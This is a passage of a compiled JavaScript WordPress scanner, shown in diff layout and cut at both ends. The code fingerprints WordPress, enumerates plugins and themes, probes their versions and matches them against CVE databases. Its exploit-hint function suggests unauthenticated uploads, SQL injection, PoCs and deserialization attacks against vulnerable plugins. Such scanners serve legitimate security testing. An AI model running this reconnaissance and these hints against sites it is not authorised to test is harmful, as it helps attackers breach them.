};
|
|
308
|
+
const detection = await detectWordPress(base, fetchImpl, timeoutMs, opts.headers);
|
|
309
|
+
result.isWordPress = detection.isWordPress;
|
|
310
|
+
result.evidence = detection.evidence;
|
|
311
|
+
result.coreVersion = detection.coreVersion;
|
|
312
|
+
if (!result.isWordPress) {
|
|
313
|
+
return result;
|
|
314
|
+
}
|
|
315
|
+
const pluginSlugs = /* @__PURE__ */ new Map();
|
|
316
|
+
const themeSlugs = /* @__PURE__ */ new Map();
|
|
317
|
+
const [htmlSources, restPlugins, pluginDirListing, themeDirListing] = await Promise.all([
|
|
318
|
+
collectFromHomepage(base, fetchImpl, timeoutMs, opts.headers),
|
|
319
|
+
collectFromRestApi(base, fetchImpl, timeoutMs, opts.headers),
|
|
320
|
+
collectFromDirListing(base, "plugins", fetchImpl, timeoutMs, opts.headers),
|
|
321
|
+
collectFromDirListing(base, "themes", fetchImpl, timeoutMs, opts.headers)
|
|
322
|
+
]);
|
|
323
|
+
for (const slug of htmlSources.plugins) {
|
|
324
|
+
pluginSlugs.set(slug, { slug, source: "html" });
|
|
325
|
+
}
|
|
326
|
+
for (const slug of htmlSources.themes) {
|
|
327
|
+
themeSlugs.set(slug, { slug, source: "html" });
|
|
328
|
+
}
|
|
329
|
+
for (const slug of restPlugins) {
|
|
330
|
+
if (!pluginSlugs.has(slug))
|
|
331
|
+
pluginSlugs.set(slug, { slug, source: "rest_api" });
|
|
332
|
+
}
|
|
333
|
+
for (const slug of pluginDirListing) {
|
|
334
|
+
if (!pluginSlugs.has(slug))
|
|
335
|
+
pluginSlugs.set(slug, { slug, source: "directory_listing" });
|
|
336
|
+
}
|
|
337
|
+
for (const slug of themeDirListing) {
|
|
338
|
+
if (!themeSlugs.has(slug))
|
|
339
|
+
themeSlugs.set(slug, { slug, source: "directory_listing" });
|
|
340
|
+
}
|
|
341
|
+
const catalogPlugins = await probeVulnerablePluginCatalog(base, pluginSlugs, maxVulnerableProbes, fetchImpl, timeoutMs, opts.headers);
|
|
342
|
+
for (const plugin of catalogPlugins) {
|
|
343
|
+
pluginSlugs.set(plugin.slug, plugin);
|
|
344
|
+
}
|
|
345
|
+
const allPlugins = [...pluginSlugs.values()];
|
|
346
|
+
const pluginList = [
|
|
347
|
+
...allPlugins.filter((p) => p.source === "vulnerable_catalog"),
|
|
348
|
+
...allPlugins.filter((p) => p.source !== "vulnerable_catalog")
|
|
349
|
+
].slice(0, maxProbes);
|
|
350
|
+
await Promise.all(pluginList.map(async (p) => {
|
|
351
|
+
if (p.version)
|
|
352
|
+
return;
|
|
353
|
+
const version = await probePluginVersion(base, p.slug, fetchImpl, timeoutMs, opts.headers);
|
|
354
|
+
if (version) {
|
|
355
|
+
p.version = version;
|
|
356
|
+
if (p.source === "html" || p.source === "rest_api") {
|
|
357
|
+
p.source = "readme";
|
|
358
|
+
}
|
|
359
|
+
}
|
|
360
|
+
}));
|
|
361
|
+
const themeList = [...themeSlugs.values()].slice(0, maxProbes);
|
|
362
|
+
await Promise.all(themeList.map(async (t) => {
|
|
363
|
+
const version = await probeThemeVersion(base, t.slug, fetchImpl, timeoutMs, opts.headers);
|
|
364
|
+
if (version) {
|
|
365
|
+
t.version = version;
|
|
366
|
+
if (t.source === "html" || t.source === "rest_api") {
|
|
367
|
+
t.source = "style_css";
|
|
368
|
+
}
|
|
369
|
+
}
|
|
370
|
+
}));
|
|
371
|
+
result.plugins = pluginList;
|
|
372
|
+
result.themes = themeList;
|
|
373
|
+
const all = [
|
|
374
|
+
...pluginList.map((p) => ({ kind: "plugin", slug: p.slug, version: p.version, source: p.source })),
|
|
375
|
+
...themeList.map((t) => ({ kind: "theme", slug: t.slug, version: t.version, source: t.source }))
|
|
376
|
+
];
|
|
377
|
+
if (!opts.skipOsv) {
|
|
378
|
+
result.findings = await Promise.all(all.map(async (entry) => {
|
|
379
|
+
const localMatches = entry.kind === "plugin" ? findWpVulnerabilities(entry.slug, entry.version) : [];
|
|
380
|
+
const wpVulnerabilityCves = await queryWpVulnerabilityForWordPress(entry.kind, entry.slug, entry.version, advisoryFetchImpl, timeoutMs);
|
|
381
|
+
const wpScanCves = wpScanApiToken ? await queryWpScanForWordPress(entry.kind, entry.slug, entry.version, wpScanApiToken, advisoryFetchImpl, timeoutMs) : [];
|
|
382
|
+
const osvCves = await queryOsvForWordPress(entry.slug, entry.version, advisoryFetchImpl, timeoutMs);
|
|
383
|
+
const cves = mergeCveHits(localMatchesToCves(localMatches), wpVulnerabilityCves, wpScanCves, osvCves);
|
|
384
|
+
return {
|
|
385
|
+
kind: entry.kind,
|
|
386
|
+
slug: entry.slug,
|
|
387
|
+
version: entry.version,
|
|
388
|
+
source: entry.source,
|
|
389
|
+
cves,
|
|
390
|
+
exploitHints: buildExploitHints(entry.slug, cves, localMatches)
|
|
391
|
+
};
|
|
392
|
+
}));
|
|
393
|
+
} else {
|
|
394
|
+
result.findings = await Promise.all(all.map(async (entry) => {
|
|
395
|
+
const localMatches = entry.kind === "plugin" ? findWpVulnerabilities(entry.slug, entry.version) : [];
|
|
396
|
+
const wpVulnerabilityCves = await queryWpVulnerabilityForWordPress(entry.kind, entry.slug, entry.version, advisoryFetchImpl, timeoutMs);
|
|
397
|
+
const wpScanCves = wpScanApiToken ? await queryWpScanForWordPress(entry.kind, entry.slug, entry.version, wpScanApiToken, advisoryFetchImpl, timeoutMs) : [];
|
|
398
|
+
const cves = mergeCveHits(localMatchesToCves(localMatches), wpVulnerabilityCves, wpScanCves);
|
|
399
|
+
return {
|
|
400
|
+
kind: entry.kind,
|
|
401
|
+
slug: entry.slug,
|
|
402
|
+
version: entry.version,
|
|
403
|
+
source: entry.source,
|
|
404
|
+
cves,
|
|
405
|
+
exploitHints: buildExploitHints(entry.slug, cves, localMatches)
|
|
406
|
+
};
|
|
407
|
+
}));
|
|
408
|
+
}
|
|
409
|
+
return result;
|
|
410
|
+
}
|
|
411
|
+
async function detectWordPress(base, fetchImpl, timeoutMs, headers) {
|
|
412
|
+
const probes = [
|
|
413
|
+
"wp-login.php",
|
|
414
|
+
"wp-admin/",
|
|
415
|
+
"readme.html",
|
|
416
|
+
"wp-includes/version.php",
|
|
417
|
+
"feed/",
|
|
418
|
+
"wp-json/"
|
|
419
|
+
];
|
|
420
|
+
const evidence = [];
|
|
421
|
+
let coreVersion;
|
|
422
|
+
const results = await Promise.all(probes.map((path) => safeGet(`${base}/${path}`, fetchImpl, timeoutMs, headers)));
|
|
423
|
+
for (let i = 0; i < probes.length; i++) {
|
|
424
|
+
const res = results[i];
|
|
425
|
+
if (!res)
|
|
426
|
+
continue;
|
|
427
|
+
const path = probes[i];
|
|
428
|
+
if (path === "wp-login.php" && res.ok && /wp-submit|user_login|wp-login/i.test(res.body)) {
|
|
429
|
+
evidence.push("wp-login.php");
|
|
430
|
+
}
|
|
431
|
+
if (path === "wp-admin/" && (res.status === 200 || res.status === 302 || res.status === 301)) {
|
|
432
|
+
evidence.push("wp-admin/");
|
|
433
|
+
}
|
|
434
|
+
if (path === "readme.html" && res.ok) {
|
|
435
|
+
const m = res.body.match(/Version\s+(\d+\.\d+(?:\.\d+)?)/i);
|
|
436
|
+
if (m || /wordpress/i.test(res.body)) {
|
|
437
|
+
evidence.push("readme.html");
|
|
438
|
+
if (m)
|
|
439
|
+
coreVersion = m[1];
|
|
440
|
+
}
|
|
441
|
+
}
|
|
442
|
+
if (path === "wp-includes/version.php" && res.ok) {
|
|
443
|
+
const m = res.body.match(/\$wp_version\s*=\s*['"]([\d.]+)['"]/);
|
|
444
|
+
if (m) {
|
|
445
|
+
evidence.push("wp-includes/version.php");
|
|
446
|
+
coreVersion = m[1];
|
|
447
|
+
}
|
|
448
|
+
}
|
|
449
|
+
if (path === "feed/" && res.ok) {
|
|
450
|
+
const m = res.body.match(/<generator>\s*https?:\/\/wordpress\.org\/\?v=([\d.]+)/i);
|
|
451
|
+
if (m) {
|
|
452
|
+
evidence.push("feed/");
|
|
453
|
+
if (!coreVersion)
|
|
454
|
+
coreVersion = m[1];
|
|
455
|
+
} else if (/wordpress/i.test(res.body)) {
|
|
456
|
+
evidence.push("feed/");
|
|
457
|
+
}
|
|
458
|
+
}
|
|
459
|
+
if (path === "wp-json/" && res.ok && /"namespace"|wp\/v2/.test(res.body)) {
|
|
460
|
+
evidence.push("wp-json/");
|
|
461
|
+
}
|
|
462
|
+
}
|
|
463
|
+
return {
|
|
464
|
+
isWordPress: evidence.length >= 1,
|
|
465
|
+
evidence,
|
|
466
|
+
coreVersion
|
|
467
|
+
};
|
|
468
|
+
}
|
|
469
|
+
async function collectFromHomepage(base, fetchImpl, timeoutMs, headers) {
|
|
470
|
+
const plugins = /* @__PURE__ */ new Set();
|
|
471
|
+
const themes = /* @__PURE__ */ new Set();
|
|
472
|
+
const pages = ["", "?p=1", "?page_id=1", "?p=2"];
|
|
473
|
+
const results = await Promise.all(pages.map((p) => safeGet(`${base}/${p}`, fetchImpl, timeoutMs, headers)));
|
|
474
|
+
for (const res of results) {
|
|
475
|
+
if (!res || !res.ok)
|
|
476
|
+
continue;
|
|
477
|
+
parsePluginsFromHtml(res.body, plugins);
|
|
478
|
+
parseThemesFromHtml(res.body, themes);
|
|
479
|
+
}
|
|
480
|
+
return { plugins, themes };
|
|
481
|
+
}
|
|
482
|
+
function parsePluginsFromHtml(html, out) {
|
|
483
|
+
const re = /\/wp-content\/plugins\/([a-zA-Z0-9_\-]+)\//g;
|
|
484
|
+
let m;
|
|
485
|
+
while ((m = re.exec(html)) !== null) {
|
|
486
|
+
out.add(m[1]);
|
|
487
|
+
}
|
|
488
|
+
}
|
|
489
|
+
function parseThemesFromHtml(html, out) {
|
|
490
|
+
const re = /\/wp-content\/themes\/([a-zA-Z0-9_\-]+)\//g;
|
|
491
|
+
let m;
|
|
492
|
+
while ((m = re.exec(html)) !== null) {
|
|
493
|
+
out.add(m[1]);
|
|
494
|
+
}
|
|
495
|
+
}
|
|
496
|
+
async function collectFromRestApi(base, fetchImpl, timeoutMs, headers) {
|
|
497
|
+
const plugins = /* @__PURE__ */ new Set();
|
|
498
|
+
const root = await safeGet(`${base}/wp-json/`, fetchImpl, timeoutMs, headers);
|
|
499
|
+
if (root?.ok) {
|
|
500
|
+
try {
|
|
501
|
+
const data = JSON.parse(root.body);
|
|
502
|
+
if (Array.isArray(data.namespaces)) {
|
|
503
|
+
for (const ns of data.namespaces) {
|
|
504
|
+
const slug = ns.split("/")[0];
|
|
505
|
+
if (slug && slug !== "wp" && slug !== "oembed") {
|
|
506
|
+
plugins.add(slug);
|
|
507
|
+
}
|
|
508
|
+
}
|
|
509
|
+
}
|
|
510
|
+
} catch {
|
|
511
|
+
}
|
|
512
|
+
}
|
|
513
|
+
const posts = await safeGet(`${base}/wp-json/wp/v2/posts?per_page=5`, fetchImpl, timeoutMs, headers);
|
|
514
|
+
if (posts?.ok) {
|
|
515
|
+
parsePluginsFromHtml(posts.body, plugins);
|
|
516
|
+
}
|
|
517
|
+
return plugins;
|
|
518
|
+
}
|
|
519
|
+
async function collectFromDirListing(base, kind, fetchImpl, timeoutMs, headers) {
|
|
520
|
+
const out = /* @__PURE__ */ new Set();
|
|
521
|
+
const res = await safeGet(`${base}/wp-content/${kind}/`, fetchImpl, timeoutMs, headers);
|
|
522
|
+
if (!res?.ok)
|
|
523
|
+
return out;
|
|
524
|
+
const re = /<a\s+href="([a-zA-Z0-9_\-]+)\/?">/g;
|
|
525
|
+
let m;
|
|
526
|
+
while ((m = re.exec(res.body)) !== null) {
|
|
527
|
+
const slug = m[1];
|
|
528
|
+
if (slug === ".." || slug === ".")
|
|
529
|
+
continue;
|
|
530
|
+
out.add(slug);
|
|
531
|
+
}
|
|
532
|
+
return out;
|
|
533
|
+
}
|
|
534
|
+
async function probeVulnerablePluginCatalog(base, knownPlugins, maxProbes, fetchImpl, timeoutMs, headers) {
|
|
535
|
+
const candidates = WP_VULNERABLE_PLUGIN_SLUGS.filter((slug) => !knownPlugins.has(slug)).slice(0, Math.max(0, maxProbes));
|
|
536
|
+
const probed = await Promise.all(candidates.map(async (slug) => {
|
|
537
|
+
const version = await probePluginVersion(base, slug, fetchImpl, timeoutMs, headers);
|
|
538
|
+
return version ? { slug, version, source: "vulnerable_catalog" } : null;
|
|
539
|
+
}));
|
|
540
|
+
return probed.filter((plugin) => plugin !== null);
|
|
541
|
+
}
|
|
542
|
+
async function probePluginVersion(base, slug, fetchImpl, timeoutMs, headers) {
|
|
543
|
+
const res = await safeGet(`${base}/wp-content/plugins/${slug}/readme.txt`, fetchImpl, timeoutMs, headers);
|
|
544
|
+
if (!res?.ok)
|
|
545
|
+
return void 0;
|
|
546
|
+
return parseReadmeVersion(res.body);
|
|
547
|
+
}
|
|
548
|
+
function parseReadmeVersion(body) {
|
|
549
|
+
const stable = body.match(/^\s*Stable\s+tag:\s*([0-9][0-9A-Za-z._\-]*)/im);
|
|
550
|
+
if (stable)
|
|
551
|
+
return stable[1].trim();
|
|
552
|
+
const ver = body.match(/^\s*Version:\s*([0-9][0-9A-Za-z._\-]*)/im);
|
|
553
|
+
if (ver)
|
|
554
|
+
return ver[1].trim();
|
|
555
|
+
return void 0;
|
|
556
|
+
}
|
|
557
|
+
async function probeThemeVersion(base, slug, fetchImpl, timeoutMs, headers) {
|
|
558
|
+
const res = await safeGet(`${base}/wp-content/themes/${slug}/style.css`, fetchImpl, timeoutMs, headers);
|
|
559
|
+
if (!res?.ok)
|
|
560
|
+
return void 0;
|
|
561
|
+
return parseStyleCssVersion(res.body);
|
|
562
|
+
}
|
|
563
|
+
function parseStyleCssVersion(body) {
|
|
564
|
+
const m = body.match(/^\s*Version:\s*([0-9][0-9A-Za-z._\-]*)/im);
|
|
565
|
+
return m ? m[1].trim() : void 0;
|
|
566
|
+
}
|
|
567
|
+
async function queryOsvForWordPress(slug, version, fetchImpl, timeoutMs) {
|
|
568
|
+
try {
|
|
569
|
+
const body = {
|
|
570
|
+
package: { name: slug }
|
|
571
|
+
};
|
|
572
|
+
if (version)
|
|
573
|
+
body.version = version;
|
|
574
|
+
const res = await withTimeout(fetchImpl("https://api.osv.dev/v1/query", {
|
|
575
|
+
method: "POST",
|
|
576
|
+
headers: { "Content-Type": "application/json" },
|
|
577
|
+
body: JSON.stringify(body)
|
|
578
|
+
}), timeoutMs);
|
|
579
|
+
if (!res || !res.ok)
|
|
580
|
+
return [];
|
|
581
|
+
const json = await res.json();
|
|
582
|
+
const vulns = json.vulns ?? [];
|
|
583
|
+
return vulns.map((v) => {
|
|
584
|
+
const aliases = v.aliases ?? [];
|
|
585
|
+
const id = v.id ?? aliases[0] ?? "UNKNOWN";
|
|
586
|
+
const severity = extractSeverity(v);
|
|
587
|
+
return {
|
|
588
|
+
id,
|
|
589
|
+
aliases,
|
|
590
|
+
severity,
|
|
591
|
+
summary: v.summary,
|
|
592
|
+
url: `https://osv.dev/vulnerability/${id}`,
|
|
593
|
+
source: "osv"
|
|
594
|
+
};
|
|
595
|
+
});
|
|
596
|
+
} catch {
|
|
597
|
+
return [];
|
|
598
|
+
}
|
|
599
|
+
}
|
|
600
|
+
function extractSeverity(vuln) {
|
|
601
|
+
const sev = vuln.severity;
|
|
602
|
+
if (Array.isArray(sev) && sev.length > 0) {
|
|
603
|
+
const cvss = sev.find((s) => typeof s.type === "string" && /cvss/i.test(s.type));
|
|
604
|
+
if (cvss?.score)
|
|
605
|
+
return cvss.score;
|
|
606
|
+
if (sev[0]?.score)
|
|
607
|
+
return sev[0].score;
|
|
608
|
+
}
|
|
609
|
+
const dbSpecific = vuln.database_specific;
|
|
610
|
+
if (dbSpecific?.severity)
|
|
611
|
+
return dbSpecific.severity;
|
|
612
|
+
return void 0;
|
|
613
|
+
}
|
|
614
|
+
async function queryWpScanForWordPress(kind, slug, version, token, fetchImpl, timeoutMs) {
|
|
615
|
+
if (!token.trim())
|
|
616
|
+
return [];
|
|
617
|
+
const path = kind === "theme" ? "themes" : "plugins";
|
|
618
|
+
try {
|
|
619
|
+
const res = await withTimeout(fetchImpl(`https://wpscan.com/api/v3/${path}/${encodeURIComponent(slug)}`, {
|
|
620
|
+
method: "GET",
|
|
621
|
+
headers: {
|
|
622
|
+
"Authorization": `Token token=${token}`,
|
|
623
|
+
"Accept": "application/json"
|
|
624
|
+
}
|
|
625
|
+
}), timeoutMs);
|
|
626
|
+
if (!res || !res.ok)
|
|
627
|
+
return [];
|
|
628
|
+
const json = await res.json();
|
|
629
|
+
const vulnerabilities = extractWpScanVulnerabilities(json, slug);
|
|
630
|
+
return vulnerabilities.filter((vuln) => isWpScanVulnerabilityRelevant(vuln, version)).map((vuln) => wpScanVulnerabilityToCveHit(vuln));
|
|
631
|
+
} catch {
|
|
632
|
+
return [];
|
|
633
|
+
}
|
|
634
|
+
}
|
|
635
|
+
async function queryWpVulnerabilityForWordPress(kind, slug, version, fetchImpl, timeoutMs) {
|
|
636
|
+
const path = kind === "theme" ? "theme" : "plugin";
|
|
637
|
+
try {
|
|
638
|
+
const res = await withTimeout(fetchImpl(`https://www.wpvulnerability.net/${path}/${encodeURIComponent(slug)}/`, {
|
|
639
|
+
method: "GET",
|
|
640
|
+
headers: { "Accept": "application/json" }
|
|
641
|
+
}), timeoutMs);
|
|
642
|
+
if (!res || !res.ok)
|
|
643
|
+
return [];
|
|
644
|
+
const json = await res.json();
|
|
645
|
+
const vulnerabilities = extractWpVulnerabilityEntries(json);
|
|
646
|
+
return vulnerabilities.filter((vuln) => isWpVulnerabilityEntryRelevant(vuln, version)).flatMap((vuln) => wpVulnerabilityEntryToCveHits(vuln));
|
|
647
|
+
} catch {
|
|
648
|
+
return [];
|
|
649
|
+
}
|
|
650
|
+
}
|
|
651
|
+
function extractWpVulnerabilityEntries(json) {
|
|
652
|
+
if (!isRecord(json))
|
|
653
|
+
return [];
|
|
654
|
+
const data = isRecord(json.data) ? json.data : json;
|
|
655
|
+
const vulnerabilities = data.vulnerability ?? data.vulnerabilities;
|
|
656
|
+
if (!Array.isArray(vulnerabilities))
|
|
657
|
+
return [];
|
|
658
|
+
return vulnerabilities.filter(isRecord);
|
|
659
|
+
}
|
|
660
|
+
function isWpVulnerabilityEntryRelevant(vuln, version) {
|
|
661
|
+
if (!version)
|
|
662
|
+
return true;
|
|
663
|
+
const operator = isRecord(vuln.operator) ? vuln.operator : void 0;
|
|
664
|
+
if (!operator)
|
|
665
|
+
return true;
|
|
666
|
+
return versionMatchesWpVulnerabilityOperator(version, operator);
|
|
667
|
+
}
|
|
668
|
+
function versionMatchesWpVulnerabilityOperator(version, operator) {
|
|
669
|
+
const minVersion = typeof operator.min_version === "string" ? operator.min_version : void 0;
|
|
670
|
+
const minOperator = typeof operator.min_operator === "string" ? operator.min_operator : void 0;
|
|
671
|
+
const maxVersion = typeof operator.max_version === "string" ? operator.max_version : void 0;
|
|
672
|
+
const maxOperator = typeof operator.max_operator === "string" ? operator.max_operator : void 0;
|
|
673
|
+
if (minVersion && minOperator && !compareWithOperator(version, minVersion, minOperator))
|
|
674
|
+
return false;
|
|
675
|
+
if (maxVersion && maxOperator && !compareWithOperator(version, maxVersion, maxOperator))
|
|
676
|
+
return false;
|
|
677
|
+
return true;
|
|
678
|
+
}
|
|
679
|
+
function compareWithOperator(version, boundary, operator) {
|
|
680
|
+
const cmp = compareVersions(version, boundary);
|
|
681
|
+
switch (operator.toLowerCase()) {
|
|
682
|
+
case "lt":
|
|
683
|
+
case "<":
|
|
684
|
+
return cmp < 0;
|
|
685
|
+
case "le":
|
|
686
|
+
case "lte":
|
|
687
|
+
case "<=":
|
|
688
|
+
return cmp <= 0;
|
|
689
|
+
case "gt":
|
|
690
|
+
case ">":
|
|
691
|
+
return cmp > 0;
|
|
692
|
+
case "ge":
|
|
693
|
+
case "gte":
|
|
694
|
+
case ">=":
|
|
695
|
+
return cmp >= 0;
|
|
696
|
+
case "eq":
|
|
697
|
+
case "=":
|
|
698
|
+
case "==":
|
|
699
|
+
return cmp === 0;
|
|
700
|
+
default:
|
|
701
|
+
return true;
|
|
702
|
+
}
|
|
703
|
+
}
|
|
704
|
+
function wpVulnerabilityEntryToCveHits(vuln) {
|
|
705
|
+
const sources = Array.isArray(vuln.source) ? vuln.source.filter(isRecord) : [];
|
|
706
|
+
const cveSources = sources.filter((source) => {
|
|
707
|
+
const id = typeof source.id === "string" ? source.id : "";
|
|
708
|
+
const name = typeof source.name === "string" ? source.name : "";
|
|
709
|
+
return /^CVE-/i.test(id) || /^CVE-/i.test(name);
|
|
710
|
+
});
|
|
711
|
+
const selectedSources = cveSources.length > 0 ? cveSources : sources.slice(0, 1);
|
|
712
|
+
if (selectedSources.length === 0) {
|
|
713
|
+
const fallbackId = formatWpVulnerabilityFallbackId(vuln.uuid);
|
|
714
|
+
return [{
|
|
715
|
+
id: fallbackId,
|
|
716
|
+
aliases: [],
|
|
717
|
+
severity: extractWpVulnerabilitySeverity(vuln),
|
|
718
|
+
summary: typeof vuln.name === "string" ? vuln.name : void 0,
|
|
719
|
+
source: "wpvulnerability"
|
|
720
|
+
}];
|
|
721
|
+
}
|
|
722
|
+
return selectedSources.map((source) => {
|
|
723
|
+
const rawId = findCveLikeString(source.id, source.name) ?? (typeof source.id === "string" ? source.id : void 0) ?? (typeof source.name === "string" ? source.name : void 0);
|
|
724
|
+
const id = normalizeCveId(rawId) ?? formatWpVulnerabilityFallbackId(vuln.uuid);
|
|
725
|
+
return {
|
|
726
|
+
id,
|
|
727
|
+
aliases: [],
|
|
728
|
+
severity: extractWpVulnerabilitySeverity(vuln),
|
|
729
|
+
summary: typeof vuln.name === "string" ? vuln.name : void 0,
|
|
730
|
+
url: typeof source.link === "string" ? source.link : void 0,
|
|
731
|
+
source: "wpvulnerability"
|
|
732
|
+
};
|
|
733
|
+
});
|
|
734
|
+
}
|
|
735
|
+
function formatWpVulnerabilityFallbackId(value) {
|
|
736
|
+
if (typeof value !== "string" || value.trim().length === 0)
|
|
737
|
+
return "WPVULNERABILITY";
|
|
738
|
+
return `WPVULN-${value.trim().slice(0, 12)}`;
|
|
739
|
+
}
|
|
740
|
+
function extractWpVulnerabilitySeverity(vuln) {
|
|
741
|
+
const impact = isRecord(vuln.impact) ? vuln.impact : void 0;
|
|
742
|
+
const cvss = impact?.cvss;
|
|
743
|
+
if (typeof cvss === "string")
|
|
744
|
+
return cvss;
|
|
745
|
+
if (typeof cvss === "number")
|
|
746
|
+
return String(cvss);
|
|
747
|
+
if (typeof vuln.severity === "string")
|
|
748
|
+
return vuln.severity;
|
|
749
|
+
return void 0;
|
|
750
|
+
}
|
|
751
|
+
function extractWpScanVulnerabilities(json, slug) {
|
|
752
|
+
if (!json || typeof json !== "object")
|
|
753
|
+
return [];
|
|
754
|
+
const obj = json;
|
|
755
|
+
const direct = obj.vulnerabilities;
|
|
756
|
+
if (Array.isArray(direct))
|
|
757
|
+
return direct.filter(isRecord);
|
|
758
|
+
const nested = obj[slug];
|
|
759
|
+
if (isRecord(nested) && Array.isArray(nested.vulnerabilities)) {
|
|
760
|
+
return nested.vulnerabilities.filter(isRecord);
|
|
761
|
+
}
|
|
762
|
+
const firstRecordWithVulns = Object.values(obj).find((value) => isRecord(value) && Array.isArray(value.vulnerabilities));
|
|
763
|
+
if (isRecord(firstRecordWithVulns)) {
|
|
764
|
+
return firstRecordWithVulns.vulnerabilities.filter(isRecord);
|
|
765
|
+
}
|
|
766
|
+
return [];
|
|
767
|
+
}
|
|
768
|
+
function isWpScanVulnerabilityRelevant(vuln, version) {
|
|
769
|
+
if (!version)
|
|
770
|
+
return true;
|
|
771
|
+
const fixedIn = parseWpScanFixedIn(vuln.fixed_in);
|
|
772
|
+
if (fixedIn.length === 0)
|
|
773
|
+
return true;
|
|
774
|
+
return fixedIn.some((fixedVersion) => compareVersions(version, fixedVersion) < 0);
|
|
775
|
+
}
|
|
776
|
+
function parseWpScanFixedIn(value) {
|
|
777
|
+
if (typeof value === "string")
|
|
778
|
+
return [value];
|
|
779
|
+
if (Array.isArray(value))
|
|
780
|
+
return value.filter((entry) => typeof entry === "string");
|
|
781
|
+
return [];
|
|
782
|
+
}
|
|
783
|
+
function wpScanVulnerabilityToCveHit(vuln) {
|
|
784
|
+
const references = isRecord(vuln.references) ? vuln.references : {};
|
|
785
|
+
const cveRefs = parseWpScanReferenceList(references.cve);
|
|
786
|
+
const urlRefs = parseWpScanReferenceList(references.url);
|
|
787
|
+
const id = normalizeCveId(cveRefs[0]) ?? (typeof vuln.id === "string" ? vuln.id : void 0) ?? (typeof vuln.uuid === "string" ? vuln.uuid : void 0) ?? "WPSCAN";
|
|
788
|
+
return {
|
|
789
|
+
id,
|
|
790
|
+
aliases: cveRefs.map((cve) => normalizeCveId(cve) ?? cve).filter((cve) => cve !== id),
|
|
791
|
+
severity: extractWpScanSeverity(vuln),
|
|
792
|
+
summary: typeof vuln.title === "string" ? vuln.title : void 0,
|
|
793
|
+
url: typeof vuln.url === "string" ? vuln.url : urlRefs[0],
|
|
794
|
+
source: "wpscan"
|
|
795
|
+
};
|
|
796
|
+
}
|
|
797
|
+
function parseWpScanReferenceList(value) {
|
|
798
|
+
if (typeof value === "string")
|
|
799
|
+
return [value];
|
|
800
|
+
if (Array.isArray(value))
|
|
801
|
+
return value.filter((entry) => typeof entry === "string");
|
|
802
|
+
return [];
|
|
803
|
+
}
|
|
804
|
+
function normalizeCveId(value) {
|
|
805
|
+
if (!value)
|
|
806
|
+
return void 0;
|
|
807
|
+
const trimmed = value.trim();
|
|
808
|
+
if (/^CVE-\d{4}-\d{4,}$/i.test(trimmed))
|
|
809
|
+
return trimmed.toUpperCase();
|
|
810
|
+
if (/^\d{4}-\d{4,}$/.test(trimmed))
|
|
811
|
+
return `CVE-${trimmed}`;
|
|
812
|
+
return void 0;
|
|
813
|
+
}
|
|
814
|
+
function findCveLikeString(...values) {
|
|
815
|
+
for (const value of values) {
|
|
816
|
+
if (typeof value !== "string")
|
|
817
|
+
continue;
|
|
818
|
+
const match = value.match(/CVE-\d{4}-\d{4,}|\b\d{4}-\d{4,}\b/i);
|
|
819
|
+
if (match)
|
|
820
|
+
return match[0];
|
|
821
|
+
}
|
|
822
|
+
return void 0;
|
|
823
|
+
}
|
|
824
|
+
function extractWpScanSeverity(vuln) {
|
|
825
|
+
if (typeof vuln.cvss === "string")
|
|
826
|
+
return vuln.cvss;
|
|
827
|
+
if (typeof vuln.cvss === "number")
|
|
828
|
+
return String(vuln.cvss);
|
|
829
|
+
if (typeof vuln.severity === "string")
|
|
830
|
+
return vuln.severity;
|
|
831
|
+
return void 0;
|
|
832
|
+
}
|
|
833
|
+
function isRecord(value) {
|
|
834
|
+
return !!value && typeof value === "object" && !Array.isArray(value);
|
|
835
|
+
}
|
|
836
|
+
function localMatchesToCves(matches) {
|
|
837
|
+
return matches.map((match) => ({
|
|
838
|
+
id: match.cveId,
|
|
839
|
+
aliases: match.aliases ?? [],
|
|
840
|
+
severity: match.severity,
|
|
841
|
+
summary: `${match.pluginName} ${match.affectedRange}: ${match.summary}`,
|
|
842
|
+
url: match.references[0],
|
|
843
|
+
source: "local_catalog"
|
|
844
|
+
}));
|
|
845
|
+
}
|
|
846
|
+
function mergeCveHits(...sources) {
|
|
847
|
+
const seen = /* @__PURE__ */ new Set();
|
|
848
|
+
const merged = [];
|
|
849
|
+
for (const cve of sources.flat()) {
|
|
850
|
+
const key = [cve.id, ...cve.aliases].find((id) => /^CVE-\d{4}-\d+/i.test(id)) ?? cve.id;
|
|
851
|
+
if (seen.has(key))
|
|
852
|
+
continue;
|
|
853
|
+
seen.add(key);
|
|
854
|
+
merged.push(cve);
|
|
855
|
+
}
|
|
856
|
+
return merged;
|
|
857
|
+
}
|
|
858
|
+
function buildExploitHints(slug, cves, localMatches = []) {
|
|
859
|
+
const hints = [];
|
|
860
|
+
if (cves.length === 0)
|
|
861
|
+
return hints;
|
|
862
|
+
for (const match of localMatches) {
|
|
863
|
+
for (const hint of match.exploitHints) {
|
|
864
|
+
hints.push(`[local ${match.cveId}] ${hint}`);
|
|
865
|
+
}
|
|
866
|
+
}
|
|
867
|
+
for (const cve of cves) {
|
|
868
|
+
const candidates = [cve.id, ...cve.aliases];
|
|
869
|
+
for (const id of candidates) {
|
|
870
|
+
const recipe = getCveExploit(id);
|
|
871
|
+
if (recipe) {
|
|
872
|
+
hints.push(formatExploitRecipe(recipe));
|
|
873
|
+
break;
|
|
874
|
+
}
|
|
875
|
+
}
|
|
876
|
+
}
|
|
877
|
+
const summaries = cves.map((c) => (c.summary ?? "").toLowerCase()).join(" | ");
|
|
878
|
+
if (/file upload|arbitrary file|upload/i.test(summaries)) {
|
|
879
|
+
hints.push(`Try unauthenticated file upload against /wp-content/plugins/${slug}/ endpoints \u2014 check the CVE advisory for the exact path.`);
|
|
880
|
+
}
|
|
881
|
+
if (/sql ?injection|sqli/i.test(summaries)) {
|
|
882
|
+
hints.push(`Look for vulnerable parameters in /wp-admin/admin-ajax.php?action=${slug}_*.`);
|
|
883
|
+
}
|
|
884
|
+
if (/(unauth|unauthenticated).*rce|remote code execution/i.test(summaries)) {
|
|
885
|
+
hints.push(`Unauthenticated RCE reported for ${slug} \u2014 try the PoC against the advisory-specified endpoint.`);
|
|
886
|
+
}
|
|
887
|
+
if (/xss|cross.site scripting/i.test(summaries)) {
|
|
888
|
+
hints.push(`Stored/reflected XSS reported for ${slug} \u2014 look for the affected input on plugin-rendered pages.`);
|
|
889
|
+
}
|
|
890
|
+
if (/deserial/i.test(summaries)) {
|
|
891
|
+
hints.push(`Deserialization gadget reported for ${slug} \u2014 inspect cookies and POST bodies for serialized payloads.`);
|
|
892
|
+
}
|
|
893
|
+
if (hints.length === 0) {
|
|
894
|
+
